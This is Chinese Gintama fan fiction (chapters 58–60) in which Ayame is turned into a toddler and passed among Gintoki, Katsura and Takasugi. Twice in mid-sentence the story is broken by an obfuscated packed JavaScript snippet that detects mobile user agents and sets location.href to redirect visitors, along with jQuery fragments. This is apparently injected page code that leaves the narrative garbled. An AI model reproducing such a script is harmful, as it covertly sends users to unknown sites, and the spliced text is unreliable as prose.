“银桑,那是多啦B梦的百宝袋,不是时光机啊!”新八连忙把他拉出来,“你不是说阿萤姐的怀表才是时光机吗?” 神乐忽然灵光一闪般,拿过怀表疯狂地按下,“也许跟安全教育里电梯按键的原理一致,多按几下就可以恢复的啊鲁!” “是这样啊,那很有可能啊。”银时恍然大悟,夺过来又是一通乱按。 “什么电梯,这TM是……啊,你还按!”我怒指着他,一把夺回怀表。 上头的数字飞速地跳动,我惊慌地抬头,“怎么办啊?” 万事屋三人动作整齐一致地退后,脸色比我还要恐慌,双手在胸前打叉。 “你们那是什么反应……诶?”伸出的手冒出冒泡,我神色一愣,身边瞬间缠绕层层轻雾。 糟糕,又要去什么奇怪的时间点了吗?还是……回家? 这样想着,我忽然不那么害怕了,意识随着我的放松模糊,眼前一切在弹指间飞速旋转。我安然地阖上眼,等待新的旅程。 “阿萤——” ……………… ……………… 角度转换的分界线………… 坂田银时也没想到就按了几下会出这么大的意外,等他扑过去的时候烟雾四散,扑空的手抓不到任何东西。 “阿萤——”心下骤然一惊,他颤声喊着那个人的名字,环顾也看不到那抹身影。巨大的空洞霎时席卷他的胸膛,仿佛有什么东西再次被抹掉。 “银、银桑……”新八惊骇得眼镜也掉了,颤抖着手指着他身后的地面。 银时猛地回头,她今天穿着的绿底竹纹和服散落一地,一团鼓起来的东西在挪动。 “阿萤,你……”他一把掀起衣物,猝不及防触及一双愣愣的琥珀色大眼,里头全是茫然和害怕。 “阿……萤?”瞬间豆子眼,坂田银时吞了吞口水,拎着精致的绿色蕾丝内衣,难以置信地指着那团东西,嘴角疯狂抽搐,“喂……幻觉吧,这一定是幻觉吧……新,新八,神乐,快给阿银一拳,拜托——” 一柄紫伞狠狠地砸在他头上,神乐怒吼道,“谁准你掀女孩的衣服啊天然卷!你还偷看小女孩,你个死色魔!哪个妈妈把你养成这种人渣啊!” “住,住手……头要爆了……所以说,这小女孩是什么鬼啊!” 坂田银时捂着头猛地蹦起来,指着那团东西大喊,眼睁得眼角都爆出血丝了,“那个永远25岁的白痴去了哪儿,这小鬼又是怎么回事啊!是梦吧,是幻觉吧,打破次元的时空隧道开启了吗?” “呜……”软软糯糯的嗓音从和服中传来,被他指着的那团东西挪动了一下,从和服中冒出一张巴掌大的小脸蛋,小巧的鼻子红彤彤,琥珀色的大眼满是泪水,“呜哇……妈咪……好可怕……” 坂田银时看着那个长得有点眼熟但他发誓绝对没见过的小女娃,整个人都石化了。新八眼看他靠不住,小女娃已哭得打嗝,明显被吓到,连忙跑过去把人连着衣服抱起哄道,“别怕别怕,这个大叔不是在凶你,乖哦……” 小女娃抬头,看到眼镜的倒影又是一吓,刚停了的哭声又哇的一声响起。 新八一个头两个大,连忙朝银时喊道,“银桑,快想想办法啊!” “就算你这样要求,阿银也没办法啊!不是有百宝袋吗?你问多啦B梦去啊……”他自己还没反应过来,刚才好端端的人怎么忽然就变成这一团东西了? “哦呀哦呀,别怕,我们不是坏人哦。只有这个大叔是而已啊鲁,来,姐姐抱抱~”神乐好奇地张着蓝眸看着新八怀中白嫩软糯的小娃娃,伸出手想要接过来。 银时看到她的动作,下意识一掌拍了过来,“别乱来,你这随随便便的力度就可以捏碎她了!” 刚被神乐吸引停了哭声的小娃娃看到他动手,大眼瞬间又冒出大颗大颗的眼泪,哇的一声伏在新八怀中大哭起来。 银时被神乐死鱼眼瞪得一头冷汗,“总,总之……搞清楚是什么回事好吧……那个,老爹!” 源外老爹把眼镜推到头上,手法熟练地接过小娃娃,抱在怀中颠了两下便哄住了,看得万事屋三人目瞪口呆。 “不愧是有过孩子的男人。”新八眼镜反光,淡淡地道。 银时觉得自己被内涵了,“不好意思啊,没有孩子是阿银的问题吗?” “小朋友,你叫什么名字呀?今年几岁了?”源外老爹把她裹在和服里,放在桌面上慈祥地笑着问道。 大眼娃娃愣愣地望着他,好半响才慢腾腾地伸出衣服里的小手,数了数,右手比了四根手指,“萤萤……妈咪说我快三岁了……” 四人死鱼眼看着那四根小手指,不约而同沉默了。 “三,三岁……”坂田银时嘴角和眼角一起疯狂抽搐,“喂喂,别,别开玩笑了好吧……” 小女娃看到他,大眼又开始蓄满眼泪,看起来委屈得不得了。 “银酱,你太丑吓到她了,赶紧死开啊鲁!”神乐一肘击把他挤开,满眼新奇地凑近小女娃,湛蓝大眼里头全是笑意,“你好啊,小阿萤,我是神乐哦~” 阿萤抬头看着她,眨了眨眼,泪珠挂在脸蛋上,怯怯地笑了,“卡古拉……” 软糯的嗓音带了点幼儿的口齿不清,萌得神乐跳起,她还没见过这么小的女娃娃,伸出手小心翼翼地碰了碰那软得像新鲜出炉的糯米团子般的脸蛋。 “还有我,还有我,我是新八哦~叫哥哥~”新八笑着凑过去,指着自己道。为了不吓到她,他连眼镜都拿下了。 “新,新……吧唧……”阿萤张嘴动了好几下,才发出正确的音。 “啊啊~好可爱~” “喂,”被排挤的坂田银时忿忿不平地瞪着他们,“老爹,这到底是怎么回事啊?” 被他的大嗓门吓到,阿萤哇的一声又哭了起来,新八和神乐手忙脚乱地哄着,回头瞪他一眼,“天然卷,给我们闭嘴啊!” 烦躁地揪着卷发,银时狰狞地做着口型质问道。 源外摸着下巴,“看来这个怀表跟阿萤的身体有时间关联,刚才那几下可能触动了什么奇怪的设定,让她变成了三岁小孩。” 怀表上的数字像是在倒数,源外看了一会,把怀表挂回阿萤的脖子上。 “应该会持续一段时间,先照顾着她吧,等时间倒数完,她应该会恢复。” 坂田银时头疼地看着窝在新八怀中的小娃娃,“说是照顾,这……怎么照顾啊?” “什么?变成三岁小孩?” 登势酒馆内,登势,凯瑟琳,小玉连同桂和伊丽莎白围着吧台上坐着的小娃娃惊叫。 大概是他们声音太大,阿萤嘴一扁,眼眶发红,要哭不哭的样子可怜兮兮的。她身上是登势找来的粉色小和服,衬得脸蛋粉嫩软糯,像一团棉花糖般。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239862|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦啊哦啊,我们不是吼你哦,乖乖~”桂挤到她面前,笑容温柔地摸摸她的头,轻声哄道。 大概是他声音最轻,阿萤抬头看了他好一会,悄悄地伸手抓着他的长发,大眼莹莹地看着他,怯生生地露了个浅笑。 “好……好萌……”桂的双颊浮现红晕,忍不住把人抱起来。他从没想过有一天会看到阿萤小时候的样子,一时间保护欲高涨。 作为伪装高手,桂兼职当过保姆和幼儿园老师,各种技能齐备,抱娃的手法纯熟得很,轻拍几下阿萤便信任地笑着靠在他怀中了。 看到她乖乖地趴在桂的怀里,银时不是滋味地抱手,“什么嘛,这混蛋果然是搞差别对待,还说没偏心!” 听到他的声音,阿萤转头看了一眼,吓得转身抱着桂的脖子。桂抱着她拍了拍,谴责又嘚瑟看着他。 坂田银时更不爽了,懊恼地一掌拍在那个被登势梳成两根小辫子的头上。 “呜哇——”被打的阿萤哇的一下哭出声,趴在桂的肩头眼泪大颗大颗地不断掉。 “天然卷你做什么啊——” 狠狠把人踹开,登势等人连同新八神乐齐齐压着他死命狠踩。 “差劲,对一个三岁的小女孩也下这样的毒手!” “变态,连三岁小女孩都不放过!” “人渣,她才三岁懂什么啊!” 烟尘过后,坂田银时手脚扭曲鼻青脸肿地躺在地上。 桂抱着阿萤哄了许久,伊丽莎白在他身后不断举牌逗着,登势和凯瑟琳,小玉三人又不知道从哪里搬了好些孩子玩具来陪玩,好不容易才让她停下来。 阿萤看了一圈,乖巧地抓着桂的袖子,抽抽噎噎看着他,“妈咪……” 那声妈咪甜糯得叫进桂的心里,其他几个年龄不一的女人妒忌地一人一拳过去也打不散他的傻笑。 他一个旋身架着小女孩举高高,“没错没错,我就是妈咪哦~阿萤乖,我的宝贝女儿~妈咪在这里哦~” 【桂先生,我们有孩子了】 “孩你妹啊!”银时一脚踹断白板,顶着一头包,蹦着一脸十字路口怒指被架在半空的小女娃,“老子跟你杠上了!假发,你不是有事的吗?赶紧滚!” “不是假发,是妈咪桂!”桂扬眉,笑得很自豪。 胖乎乎的小手抗拒地推开银时指着她的手,“要妈咪……不要凶巴巴的叔叔……” “看吧,阿萤姐就算变成小孩,眼光也还是在线的。”神乐幸灾乐祸地以手肘撞了撞新八。 “不在线的是脑子,这家伙跟阿银是一样的好吧!”被嫌弃的银时顶着所有人嘲讽的目光高傲地抱着手,鄙视眼前的阿萤,“老子才不想要你呢!爱哭鬼!” 知道他骂的是自己,小女娃顿时又红了眼,可怜兮兮地扁了扁嘴,“哇——” “天然卷——” “哭是孩子的本职工作,你骂她干嘛?” 再次被群殴的坂田银时一时不敌地被踢出了酒馆内门外,里面的热闹仿佛与他无关,气得他狠狠踢了脚门边的墙。 登势喂过奶糊和水后,桂还有事便抱着人告辞了。 望着欢天喜地举着小娃娃的桂和伊丽莎白,登势点燃了根烟咬在唇角,“没问题吗?” 新八和神乐探头出来看着蹲在门边的坂田银时,只见他搔了搔头,没精打采地低声道,“没问题才怪……他们两个本来脑子就奇怪,凑一起就更不正常……” “可是,阿萤姐现在变成小孩子,桂先生应该会照顾好她吧。”说到底,在新八眼中,桂也是大事靠谱的人。 银时死鱼眼翻了翻,含糊地嘟囔,“你对他们还不够了解……假发是最不能……的那个。” 小时候桂就对阿萤的胡扯和说教全盘接受从不质疑,攘夷时期这两个更是每次一起干活都能闯无数祸。因为桂对阿萤的任何决定都是无条件支持甚至放任,哪怕最后也是不问缘由就让她一个人离开……松下村塾里,桂小太郎是最能洞悉她想法,也是最纵容月见萤的那一个。 现在的话,他不把人拉去攘夷已经很好了……更何况还有一只不知道是什么的谜样生物。 “银酱,我们跟上去吧,总不能让假发把阿萤姐带入黑/道啊。”神乐担忧地看了眼,那两个傻乎乎的身影看着就不让人放心。 59.银桂的养娃日常 长屋之内,一众攘夷志士跪坐在榻榻米上,目瞪口呆地望着自家leader一手拿着指挥棒指点板书要点,一手抱着一个粉雕玉琢般的漂亮娃娃。 “以上就是这次会议的内容,大家一定要记得周一和周三的垃圾分类,千万不能弄错,可燃和不可燃要记得做好分类。然后,再派人去把真选组的可燃和不可燃垃圾对调!” 桂讲解清楚后,意犹未尽地举起怀中的娃娃,“阿萤乖乖,你也要记得,垃圾分类要做好,江户的美好环境从我们做起。” 阿萤也不知有没有听懂,眨眨眼露出灿烂的笑容,手舞足蹈地点点头。 “哟西哟西,你听懂了~不愧是我的乖乖~”桂满意得眉开眼笑,跟她玩起举高高游戏,逗得她咯咯直笑。 【太感动了,这个画面就是我们奋斗的目标啊】伊丽莎白有感而发。 “那个,桂先生,这个娃娃……难道是您的女儿?”为首的男人问出了大家的疑惑。 桂哼哼地低笑,双眼冒出精光,把阿萤举到身前,骄傲地道,“大家听着,这可是我们的王牌。” “王牌?”众人惊呆了,“这,莫非就是传说中,攘夷从娃娃抓起?” “哼哼哼哼……”桂低沉的笑声在面容陷入阴影时显出几分阴险,“只要她肯认真攘夷,一个人就足以颠覆江户了!而且,她在我们手中,我们的大将们也会很快回到队伍里面,一起对抗幕府的腐败,创建江户,不,是这个国家的黎明!” “是,是这样的吗?果然是要从娃娃开始教育……”众人又惊呆了,目光齐聚在他手中的小娃娃身上,“大将是指银时大人和高杉大人吗?难道,她是你跟那两位的孩子?她作为人质留在我们这里了?” “一个人就能颠覆江户?莫非她是你们三位一起制造的新型武器?”其中一人突发奇想,大胆发问。 桂一愕,一时间很难解释这种关系,孩子什么的,但人质和武器这个说法好像哪里有点不对,“也,也不是这样说……” 被举得不耐烦的小娃娃伸手拉了拉他的长发,软软地道,“妈咪……” “诶~”脸孔光速地转为慈爱,桂双眼亮晶晶地看着她,“怎么了?乖乖,是饿了吗?要喝水吗?还是想要再听一次垃圾分类?” “萤萤……要嘘嘘。”琥珀色的大眼看着他,认真地捂了捂小肚子。 “啊……嘞?”桂如临大敌般把她轻放在榻榻米上,摸着下巴很严肃地想了一会,慢慢转头看向伊丽莎白,“那个,伊丽莎白,她说的,该不会是哪个意思吧?” 【人类小孩子也是要上厕所的】伊丽莎白好歹是有常识的。 上厕所啊…… 桂缓缓抬头,一众性别为男的攘夷志士下意识地避开他的目光。绕场一周之后,桂视线落在爬进他怀中的小女娃身上。 “妈咪……要嘘嘘。”拉了拉他的长发,阿萤软软地抬头看着他,大眼里头全是单纯与信任,直直望进桂那毫无抵抗力且不堪一击的内心。 “啊……太可爱了……这种攻击太猛烈了啊……”桂捂着胸口捶了下榻榻米,眼神骤然坚定,“既然如此,就让妈咪带你去吧!” “桂,桂先生,难道你……”攘夷志士们难以置信地看着他。 桂朝他们坚定地点点头,然后一脸破釜沉舟地半跪起来。揪起外套一掀,假发瞬间变成花式和服的假发子,一脸正经严肃地道,“来吧,假发子妈咪带你去洗手间嘘嘘……” 他话还没说完,三道暴怒的嗓音骤响。 “假发你个死变态——” 万事屋三人猛地破窗而入跳进来,大中小型号的三只脚丫毫不留情地踢在桂的身上。 【桂先生,振作啊!】伊丽莎白举牌子应援。 “就算是假发子你也不可能改变真正的性别啊!带小女孩进洗手间什么的……你是变态吗?你想要害节目组被PTA投诉然后停播吗?想死说一声,阿银成全你!”坂田银时脸上青筋暴突,把踩在脚下的人碾了又碾。 “不,武士是不会有任何限制的,无论是男孩还是女孩,都应该敞开心胸接受……”桂颤抖着举手申辩。 “差劲,武士才不想被你这样说!”新八狠狠地踩了几脚,嫌弃地推了推眼镜。 “就算是三岁小女孩,也不许你染指啊鲁!”神乐啐了他几口,一脚把人踢飞。 “桂先生,振作啊!”一群攘夷志士们围着四肢扭曲的桂安慰道。 没再给他一个眼神,神乐啐了一口,转身抱起阿萤,笑容亲切,“乖乖,就让姐姐带你上洗手间啊鲁,不要管那些猥琐大叔。” 【这边请】伊丽莎白尽职地指路。 解决掉生理需求,阿萤乖乖地坐在榻榻米上吃着攘夷志士们贡献的饼干,笑眯眯的样子让一众大男人傻笑着围在她身边。 “啊啊,看着这画面真是让人心理不适。”挖了挖鼻孔,坂田银时翻着死鱼眼无力吐槽。这混蛋,招惹风流债的本事是从小就这么厉害了吗? “那也是没办法的事啊鲁,大叔总是对可爱的萝莉毫无抵抗力。”神乐笑着把玩小女孩的头发,扎了两个小辫子得到她大大笑容回报。 “不,不但是大叔,连大萝莉也对小萝莉没抵抗力。”新八羡慕地看着小娃娃窝在神乐怀中,手才伸过去就被神乐拍开。 “不愧是我的乖乖,一下子就收服了大家。”桂抱手端坐在一边,满脸与有荣焉。 “烦死了,她可不是你的吉祥物,给我吧。”把小女娃拎起来,银时俯视着这个看到他便扁嘴想哭的娃娃,“喂,给点面子啊,阿银可不是什么坏人。” “可是,你可以吗?阿萤明显很怕你啊。”桂鄙视他,“肯定是你太凶了,乖乖才怕你的。” “认识她到现在,我还没见乖这个字跟她搭好吧。”坂田银时叹口气,红眸盯着那张软糯的脸。 琥珀色的大眼眨了眨,阿萤忽然伸手抓着他的衣襟,小脸往他颈窝靠过去。 “诶?怎,怎么了?”银时刚才也是一时意起而已,现在她真的靠过来,他整个人都僵硬了。 小鼻子嗅了嗅,她嫩嫩地道,“草莓……” “啊哈,”新八闻言笑了,“肯定是银桑你身上的味道吸引她了。小孩子最喜欢这些甜甜的味道。” 真,真的吗?银时疑惑地看着她,见她确实没像之前看到他就哭才撇撇唇,“这么有眼光?果然草莓牛奶才是王道啊。” 神乐挖着鼻孔鄙视他,“大叔的臭味都被草莓牛奶掩盖了,难怪女人总是喜欢上那些渣男,都是一时的迷惑啊鲁。” “抱抱……”阿萤朝他伸手。 银时顿了一下,才伸出手把人接了过来,那团软乎乎的东西就这样窝在他怀中,小手抓着他的衣襟,趴在他胸前。 “太好了,小阿萤终于不怕你了,银桑。”新八宽慰地笑道。 “不错嘛,这么快就当上爸比的宝座。”桂洋洋自得,抱着手挑眉,“但是妈咪的位置,我是不会让给你的。” “那种东西你拿走吧,千万别塞给阿银。”掐了掐那软得跟白团子一样的脸蛋,银时没好气地抱着人便走,“别再用你那一套污染她的脑子了,本来就不好。阿银带她出去溜达溜达。” 再待下去给她洗脑的话,等她回来后就会傻乎乎地跟着桂去颠覆江户了……只要她带头,好不容易转为稳健派的桂肯定会大义凛然地随着她起舞,比某些激进派更激进。 坂田银时想着这种可能性,眼角都抽搐起来,坚决要把这两个凑一起就能闯大祸的家伙隔离。 正午已过,歌舞伎町主街道上行人不少,各家店铺热情地招呼着客人。 “哟,旦那,我们家今天新进了……诶?”居酒屋的老板刚想介绍便看到那个熟客一阵风般从眼前狂奔而过,直直冲进了前方的人妖店,隐约还听到孩子的哭声。 “西乡——救命啊!” 一身粉嫩和服的壮硕男子震惊地看着坂田银时塞到他面前的东西,难得说不出话来。 哭得打嗝的小女娃眼泪汪汪地看着他,白嫩的脸上通红一片,整个小小的身子都一抽一抽的。 “这是……你跟阿萤的孩子吗?” 一个小时后,一群虎背熊腰的和服人妖围在一起,打量着长椅上睡着的小女娃。 “不,不可能的,阿萤说过只喜欢我这类型的肌肉猛男!”穿着紫色和服蓄着胡须的壮汉崩溃地捂着脸颊。 “不是,她明明欣赏我这种具有女性美的猛男才对。”娇柔的黄色和服男子扭了扭腰肢,捧着脸摇头。 “什么?阿萤一直说我的舞姿最吸引她的……”拿着扇子的男人以和服袖子压了压眼角。 “这段日子……终究是错付了吗?”几个壮汉捂脸哭诉。 “小声点,别吵醒她了。”西乡睨了这些耍宝的手下一眼,轻拍着好不容易睡熟的娃娃。 坂田银时死鱼眼蹲在长椅边,无力捂脸,“这混蛋……自己惹的风流债能不能自己收拾?” 被一群人妖含情带恨地瞪着,就算是他也很有压力。 举手投降状,坂田银时发誓这娃娃跟他绝对没有父女关系,不信的话可以马上滴血认亲。 好不容易打发掉看热闹的人妖,坂田银时佩服得五体投地。 “真不愧是有孩子的人……谢了,西乡。” 天知道刚离开桂的据点,这小混蛋就不配合地哭起来,他不过说了两句还没动手呢,她就爆哭给他看,嗓门大得整条街都在看他们。手忙脚乱又拉不下脸回去找桂,怕被人报警举报他虐待小孩的坂田银时只能求助于有孩子的熟人。 “带孩子是需要耐性的,小时候小彦也很爱哭,尤其是他妈妈刚走的那段时间。大概是不安,所以总是哭……”西乡想起儿子小时候,眼神温柔,“她肯定也是觉得不安才会哭闹不止,再说,小孩子犯困是没有理智的。” “不安么……”坂田银时撑着腮看着睡得脸蛋红彤彤的小女娃,他好像还真没见过她不安。 对她的记忆都是那副笑眯眯的样子,好像什么事都难不住她,哪怕在攘夷时期她也基本是笑着走过来,偶尔还能给他们找麻烦。 那时候只觉得她整天傻笑,性子保持小时候看到的那样幼稚。后来才佩服,人长大可以在一瞬间,简单直接,但能一直抱着一颗童心笑着去面对反而很难。他过去的人生里遇到的人中,月见萤在这点上做得最厉害。 那么鲜艳的花,硬是开在了黑暗里。 “真是的,明明长大后那么爱笑,怎么小时候那么能哭?”话说得嫌弃,语气却十分纵容。 “那有小孩子不哭的?”西乡看着那熟悉的眉眼,再听他刚才的感叹,隐约猜到了什么。拍了拍不安翻了个身的小女娃,他轻声笑道,“那只能说明,她的家人还有她遇到的人,一定都很爱她,才会养出那么爱笑坚强的性格。” 那种耀眼得如同光一般的笑容,明媚温暖,是被爱围绕的孩子才能拥有。 “谁知道呢……不过,喜欢肌肉男的XP倒是从小就有。”想起方才她到了西乡怀抱便止了哭声乖乖趴着的样子,坂田银时嗤笑道。 那委屈巴巴的可怜挫样,连鬼神西乡都沦陷了,哄亲儿子都没这般轻声细语。 手指戳了戳她侧睡压得鼓起一小团肉的脸蛋,坂田银时支着下巴放柔了眼神,“睡着了像个天使,醒了就是恶魔。” 无论是哭闹的3岁小娃娃,还是长大后笑着揍人杀敌的25岁女人。 蓦地,手指被小小的手圈住,牢牢地抓着。 “当心哦,小天使要抓住你的心了。”西乡看着这一幕,想起了儿子小时候。被儿子抓住手的那一刻,他的心就被抓住,下定决定要成为他的妈妈,让他不会缺失父母一方的爱。 “昂?”扯了扯手指,引得她抓得更紧。坂田银时挑眉笑了,语气轻柔,“想要抓住阿银的心,她现在还不够格……过个二十年再说吧。” 西乡哼笑一声,像是嘲笑他的口是心非,说得硬气,那眼神却比任何时候还要温柔。 男人啊,都是嘴硬又别扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245298|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生物。然而世界上,总会有人不费吹灰之力就能轻易打碎他们的外壳,招呼都不打就闯入甚至霸占他们不对外开放的领地。 也许是美艳的女人,也许是天真又糯叽叽的小女娃,甚至是自己的孩子,但男人的一生中,一定会有这么一个特别的人出现。 摇摇晃晃的阿萤走了没两步便啪嗒一下五体投地趴在地上,慢慢地爬起来,要哭不哭地回头伸出手,“抱抱……” 坂田银时没好气地蹲下,习惯性想抽她头的手紧急转为僵硬的轻抚,“跟你说了别跑,能不能听人话啊?” 阿萤听不懂他的话,只是把被地面擦得有点红的手心递到他面前,“要呼呼……” “昂?”银时死鱼眼瞪着她,龇牙咧嘴地恐吓,“啊呸,吐你口水哦。” 大眼无辜地看着他,默了一会,他投降般对着她的手心轻轻吹了吹,换得她灿烂得刺眼的傻笑。 把她拎到肩膀上坐着,坂田银时不爽地嘟囔着,“你啊,得寸进尺这点倒是跟长大后一样。” 习惯欺压他这点也是。 像是很满意现在的高度,阿萤揪着他的卷发笑容灿烂地啊了两声,欢呼道,“驾~” “抽你哦,小鬼!” 路过柏青哥店,绯红的眼珠子习惯性地转了过去,才看一眼,死鱼眼登时睁大,“今天购币居然打八折?吝啬鬼老板难得打折,机不可失啊!” 坂田银时扛着人想也不想地走进去,没三秒便被推了出来。老板面无表情地拍了拍店门口的告示,未成年人禁入。 红眸跟那双琥珀色的眸子大眼瞪小眼好一会,坂田银时克服了良心的谴责,塞她一根棒棒糖,商量般道,“机不可失啊,你乖乖地坐在门口吃糖,等你吃完了,阿银就出来了。赢了今晚请你吃大餐哦~是那种生日才能吃的大餐哦~约定了~” 也不管她懂不懂,尾指跟她的勾了勾,银时笑容荡漾地走进店里。 不到五秒,他怒气冲冲地倒着走回来。 “啊啊,烦死了,不去了不去了可以了吧,别这样看我了……阿银又不是什么十恶不赦的人渣!” 阿萤抬头眨了眨眼,天真地朝他露出一个信任的笑容。 坂田银时顿时如漏气的气球般乏力,低头叹气,掐了掐她脸蛋,“真不知道你是不是脑子都变成三岁了……” 沿着街道走过两家店门,银时便看到伊丽莎白带着一头黄色假发和一个宠物狗玩偶在派传单。 眸子一亮,他飞快地跑了过去。 “孩子她妈咪~孩子给你还回来了~” 非常爽快地一手揪起那个狗头,另一手把肩膀上的娃娃投递过去,坂田银时乐得轻松地跳跃着往柏青哥店荡去。 无辜的大眼与茶色的大眼相对,阿萤认出了妈咪,笑出了浅浅的梨涡。 “哟~乖乖,要跟妈咪一起兼职吗?”桂把阿萤放在狗头上,一手扶着她,一手派传单,“为了攘夷大业,我们一起努力吧~” 【桂先生母女同心,其利断金】 伊丽莎白感动得拿帕子擦眼泪。 冲田总悟带人巡逻的时候就看到这么诡异的画面。 快180公分的巨大玩偶的头上颤巍巍地趴了一个小小的身影,只靠着玩偶的手扶着,一副摇摇欲坠的样子,远远看过去就像是宠物狗头上戴了个粉色假发般。 “喂喂,那边的高飞还是肉桂,麻烦把你的假发戴好一点,掉下来的话是要罚款的哦~”波澜不兴的调侃着,冲田总悟带着同伴走了过去。 玩偶忽然摘起狗头,露出里面的脸,一本正经地强调,“不是假发,是桂!” “啊,是桂小太郎,别跑!”冲田总悟瞬间拔刀冲过去。 训练有素的伊丽莎白白板一掷,桂动作迅速地抛开玩偶服,飞快地落跑。冲田总悟等人挥刀叫着他的名字,追着那个一溜烟儿跑掉的背影而去。 半响后,丢在地上的狗头里慢慢爬下一个小身影,摇摇晃晃地站起来,抬头看着陌生的环境。 大眼眨了眨,小胖腿一迈便朝着反方向跑了出去。 习以为常甩掉幕府走狗的桂骄傲地一甩长发,“不过十分钟不到,伊丽莎白,我们又破纪录了。” 伊丽莎白点了一半的头忽然僵住,颤抖着手举牌。 【桂先生……我们好像忘了什么】 “昂?是忘了最后给走狗们一个胜利的手势吗?”桂嘚瑟地低笑,一点也不在乎,“下次再补上吧哈哈哈!” 【不,是比他们重要的东西】 伊丽莎白的脸都白起来了,虽然本身就很白。 “比走狗重要的东西太多,是传单的工资还是……”桂的脑子灵光一闪,整个脸顿时抽象起来。 “糟糕了,我忘了阿萤!” 恐慌的声音响彻天际。 “银时——” 正在挑战小钢珠的坂田银时还没按下这一局就被人一头撞进机器里,小钢珠应声弹起,像余力不足的男人一样很快传来game over的声音。 “假发,你发什么疯……”他还没骂出口便被揪住了领子,眼前塞了桂那张涕泪横流的脸。 “银时,我把阿萤弄丢了!” What?坂田银时一秒反应过来,一把揪起他,“你把她弄哪了?” “刚才派传单遇到幕府的走狗追捕,一不小心把她丢下了……怎么办啊?要是被知道,我们会被杀的啊……”桂慌乱地抓着战友,反正到时候要死也是死一块,他绝对不孤单。 “赶紧发散人手去找啊混蛋,要是她……你就准备切腹吧!”拖着人跑出店门口,坂田银时气急败坏地往万事屋方向跑去。 那家伙现在才三岁,毫无攻击力更无防守力,长得又一副粉嫩软糯招中年大叔喜欢的样子,这条街又不是什么良民街道,万一遇到什么…… 两人脑子全是黑暗的画面,越想越恐惧,整个人陷入一片阴影中。 会死的,被发现后,他们一定会被杀掉的……被那个他们提都不想提起的人! 60.鬼兵队带娃日常 阿伏兔皱着眉头拎起撞到他腿反弹跌坐在地上的小女娃,拉耸着眼皮的眼微微睁大,“喂,不是开玩笑,这眼睛,这脸……怎么有点眼熟?” “在磨蹭什么?”一道低冷的嗓音从后面传来。 阿伏兔拎着人走过去,把手中的东西递到男人面前,“呐,高杉,你觉不觉得这小娃娃跟你家那个有点像?” 因为某些他自己也说不清的原因,阿伏兔对那个女人印象很深刻。而现在他手上的小女娃,脸蛋跟那个女人几乎等比例压缩,尤其那双琥珀色的大眼更是跟他印象中的一模一样。 高杉端详着眼前的小女娃,忽然抬手从她衣领里勾出一根红线,红线上挂着一个小巧但对小女娃来说有点突兀的怀表。 原本就阴沉的脸色瞬间陷入一片阴影中,冷戾的目光透出明显而狂烈的杀意。 小女娃看着他,忽然哇的一下哭了出声,被吓的。 高杉一顿,敛去杀意,伸手抱过小女娃,对身后跟着自己的男人冷声道,“查清楚他们又闹了什么鬼!” 说罢,低头看着她轻斥,“不许哭,早跟你了说别跟他们混。” 小女娃无端被训,更委屈了,无奈对方眼神太恐怖,她扁着嘴,泪眼汪汪地看着他,眼泪要掉不掉的样子可怜兮兮。 高杉莫名地觉得胸闷,被那样的目光看得有些不爽,叹口气抬手戳了戳她的头,“怎么,我说错了吗?” 小女娃抽了抽鼻子,仿佛感受到他别扭的善意,委屈但也配合地窝在他怀中。 “啊啦,这是谁家的小宝贝?好可爱,别哭,叔叔抱抱……”武市变平太看到高杉抱着的小女娃,喜感的豆子眼一亮,脸颊浮现可疑的红晕,伸出手便想要抱过去。 “前辈,你个萝莉控,别吓到她!” “滚开!”高杉懒得理会自家下属,径直抱着人便往外走。 武市变平太吃惊地看着他的背影,声音颤抖,“那莫非……晋助大人的……天啊,我们鬼兵队要迎来下一代了吗?可喜可贺啊~” 话音未落,一柄长刀便插了过来。 “前辈!” 滂沱的大雨从暗沉的天空倾斜而下,夹杂着骇人的闪电和雷鸣,雨水冲刷着地面,河流泛起轻浪,停泊在河边的船只随着水流摇晃。 船舱中,断续的抓狂女声不断,仿佛受了很大刺激。 “小鬼,别跑啊!” 来岛又子抓着毛巾跌跌撞撞地抓着那个小小但灵活的身影,她被命令给那淋了雨的娃娃洗澡,没想到衣服才穿好那小鬼便溜了出来。 阿萤回头拉了下眼皮做了个鬼脸,一头撞进蹲在前面的人怀中。 “嗯?这是谁家的小鬼?”神威好奇地看着那张脸,胖乎乎的让他想起某个笨蛋家人。 大眼眨了眨,阿萤一手抓着那根旋转的呆毛,用力扯了扯。 “想死吗?小鬼。”吃痛的神威眯起眼,手刀才扬起,身前的小女娃已蓦地眼一亮放开他的呆毛,摇摇晃晃地越过他跑向身后。 高杉坐在船边,冷眼看着那个小身影张着手扑进他怀中。 “啊啊!不许你扑晋助大人!”又子追进来,看到这场面气得把毛巾甩了过去。 “晋……晋,要呼呼……”被毛巾砸到头的阿萤口齿不清地念了两下,摸着额头把脸凑了过去。 “哼,这蠢样真的不忍直视……”她知道自己小时候那么蠢吗?高杉冷笑着以手指顶着她额心把那张脸推开。 眼前的蠢货脆弱得他单手就能掐死了,就这样还一个人乱跑。当然,放任她乱跑的那些废物更是可以切片然后丢去垃圾站喂流浪狗了。 偏了偏头,阿萤看着他,巴眨着大眼,忽然攀着他肩膀凑近,冲着他绑着绷带的眼软软地呼了口气,“不疼……晋晋……” 